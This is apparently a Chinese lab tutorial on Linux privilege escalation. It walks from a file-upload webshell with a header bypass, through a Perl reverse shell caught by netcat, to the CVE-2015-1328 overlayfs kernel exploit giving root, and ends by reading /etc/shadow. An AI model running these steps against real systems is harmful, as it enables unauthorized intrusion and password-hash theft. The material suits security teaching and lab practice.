Linux内核漏洞提权

一般webshell拿到的权限都是web容器权限,如iis就是iss用户组权限,apache就是apache 权限,可以执行普通命令,但是如果要进行内网渗透就需要拿到系统权限或者超级管理员权限

linux提权首先需要创建交互shell

靶机环境Ubuntu15.04

保证主机与靶机之间可以连通

image-20211118165310119

image-20211118165323819

拿shell

利用已有的web漏洞,如文件上传,命令执行等上传一句话木马,得到交互式shell

假如web界面存在文件上传

image-20211118165710185

测试之后发现,修改文件头可以绕过上传检测

image-20211118165838720

成功上传一句话文件,并且拿到了存放位置

image-20211118165902035

使用蚁剑连接就可以

image-20211118170827601

打开终端,使用命令查看用户为 www-data 权限

image-20211118171501315

可以使用工具 perl-reverse-shell.pl 建立 sockets 连接方便之后的操作

首先把这个脚本通过蚁剑上传至服务器,修改反弹shell的IP和端口

image-20211118173032023

使用命令增加执行权限

chmod +x perl-reverse-shell.pl 

使用ls -al命令发现脚本具有了执行权限

image-20211118173737058

本机使用nc监听相应端口

nc -lvvp 1234

然后再蚁剑执行反弹shell脚本,成功接收到shell

image-20211118173937832

这样的话就拿到shell,就可以愉快的进行接下来的提权了(这步不喜欢可以省略)

信息收集

在拿到一个低权限用户后,对系统的信息进行收集,找到可以利用的漏洞点

基本步骤

  1. 检测操作系统的发行版本
  2. 查看内核版本
  3. 检测当前用户权限
  4. 列举Suid文件
  5. 查看已经安装的包,程序,运行的服务,过期的版本可能有漏洞

这篇文章很详细 https://xz.aliyun.com/t/7924#toc-1

  • 查看发行版

    cat /etc/issue
    cat /etc/*release
    

    image-20211118174222459

  • 查看内核版本

    uname -a
    #查看内核版本
    lsb_release –a
    #当前系统发行版的具体版本号
    

    image-20211118174304337

提权

拿到这些信息之后可以去exploit db根据内核版本查找可用提权方法

https://www.exploit-db.com/

image-20211118182651459

查看第二个利用方法,https://www.exploit-db.com/exploits/37292,点进去可以看到漏洞利用详情

CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

也可以使用kali自带本地版本的Exploit-DB库,其中包含了各种exp和代码(和网页上搜的是一样的)

使用SearchSploit来访问这个exp库
#searchsploit privilege | grep -i linux | grep -i kernel | grep 2.6
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23 | exploits/linux_x86/local/42276.c
复制exp位置,locate查找完整的路径
# locate linux/local/8572.c
/usr/share/exploitdb/exploits/linux/local/8572.c
查看该文件,查看关于exp的详细信息

详细信息中有利用方式和漏洞exp,这个利用方法较简单,只需要上传文件,gcc编译exp,然后运行即可

复制exploit给出的 exp,新建文件ofs.c,粘贴复制的exp,使用蚁剑上传至靶场中,执行以下命令

$ gcc ofs.c -o ofs
$ chmod 777 ofs
$ ./ofs

image-20211118184016490

可以发现成功提权为root用户

切换shell

反弹的shell,使用起来不太方便,可以用python,切换至正常的shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20211118184458702

拥有root用户就可以查看更多文件

比如查询密文文件

cat /etc/shadow

image-20211118184634713

提权原理可以看这篇文章:https://xz.aliyun.com/t/2054

附件

题目中用到的工具和脚本

「perl-reverse-shell.pl」等文件,点击链接保存,或者复制本段内容,打开「阿里云盘」APP ,无需下载,极速在线查看享用。 链接:https://www.aliyundrive.com/s/ZDAwUAsyghD

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐